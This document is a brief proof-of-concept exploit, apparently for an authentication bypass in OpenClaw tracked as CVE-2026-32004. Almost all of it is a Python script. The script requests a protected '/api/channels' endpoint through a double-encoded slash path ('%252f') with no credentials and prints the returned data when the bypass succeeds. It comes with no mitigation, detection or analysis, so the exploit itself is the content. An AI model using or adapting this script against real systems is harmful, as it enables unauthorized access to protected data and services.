CVE-2026-32004 OpenClaw认证绕过漏洞

import requests # Target URL configuration target_host = "http://vulnerable-host:port" # The protected endpoint normally requires authentication # /api/channels # Exploit payload using double-encoded slash (%252f) # The auth layer decodes it to /api%2fchannels (or similar mismatch) # The routing layer decodes it fully to /api/channels exploit_path = "/api%252fchannels" url = f"{target_host}{exploit_path}" try: # Send request without authentication headers response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Authentication bypass successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Bypass failed. Status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")